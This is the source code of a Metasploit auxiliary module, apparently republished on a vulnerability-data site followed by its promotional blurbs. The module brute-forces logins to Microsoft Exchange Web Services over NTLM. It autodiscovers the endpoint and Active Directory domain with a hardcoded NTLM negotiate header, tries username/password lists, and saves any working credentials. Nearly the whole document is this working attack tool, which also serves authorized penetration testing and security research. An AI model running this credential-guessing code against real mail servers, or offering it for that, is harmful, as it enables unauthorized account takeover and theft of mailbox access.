##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'OWA Exchange Web Services (EWS) Login Scanner',
'Description' => %q{
This module attempts to log in to the Exchange Web Services, often
exposed at https://example.com/ews/, using NTLM authentication. This
method is faster and simpler than traditional form-based logins.
In most cases, all you need to set is RHOSTS and some combination of
user/pass files; the autodiscovery should find the location of the NTLM
authentication point as well as the AD domain, and use them accordingly.
},
'Author' => 'Rich Whitcroft',
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true, 'VERBOSE' => false }
)
register_options(
[
OptBool.new('AUTODISCOVER', [ false, "Automatically discover domain URI", true ]),
OptString.new('AD_DOMAIN', [ false, "The Active Directory domain name", nil ]),
OptString.new('TARGETURI', [ false, "The location of the NTLM service", nil ]),
Opt::RPORT(443)
])
end
def run_host(ip)
cli = Rex::Proto::Http::Client.new(datastore['RHOSTS'], datastore['RPORT'], {}, datastore['SSL'], datastore['SSLVersion'], nil, '', '')
cli.set_config({ 'preferred_auth' => 'NTLM' })
cli.connect
domain = nil
uri = nil
if datastore['AUTODISCOVER']
domain, uri = autodiscover(cli)
if domain && uri
print_good("Found NTLM service at #{uri} for domain #{domain}.")
else
print_error("Failed to autodiscover - try manually")
return
end
elsif datastore['AD_DOMAIN'] && datastore['TARGETURI']
domain = datastore['AD_DOMAIN']
uri = datastore['TARGETURI']
uri << "/" unless uri.chars.last == "/"
else
print_error("You must set AD_DOMAIN and TARGETURI if not using autodiscover.")
return
end
cli.set_config({ 'domain' => domain })
cred_collection = build_credential_collection(
realm: datastore['DOMAIN'],
username: datastore['USERNAME'],
password: datastore['PASSWORD']
)
cred_collection.each do |cred|
begin
req = cli.request_raw({
'uri' => uri,
'method' => 'GET',
'username' => cred.public,
'password' => cred.private
})
res = cli.send_recv(req)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("Connection failed")
next
end
if res.code != 401
print_brute :level => :good, :ip => ip, :msg => "Successful login: #{cred.to_s}"
report_cred(
ip: ip,
port: datastore['RPORT'],
service_name: 'owa_ews',
user: cred.public,
password: cred.private
)
return if datastore['STOP_ON_SUCCESS']
else
vprint_brute :level => :verror, :ip => ip, :msg => "Failed login: #{cred.to_s}"
end
end
end
def autodiscover(cli)
uris = %w[ /ews/ /rpc/ /public/ ]
uris.each do |uri|
begin
req = cli.request_raw({
'encode' => true,
'uri' => uri,
'method' => 'GET',
'headers' => {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}
})
res = cli.send_recv(req)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("HTTP Connection Failed")
next
end
unless res
print_error("HTTP Connection Timeout")
next
end
if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
hash = res['WWW-Authenticate'].split('NTLM ')[1]
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
return domain, uri
end
end
return nil, nil
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
}.merge(service_data)
create_credential_login(login_data)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation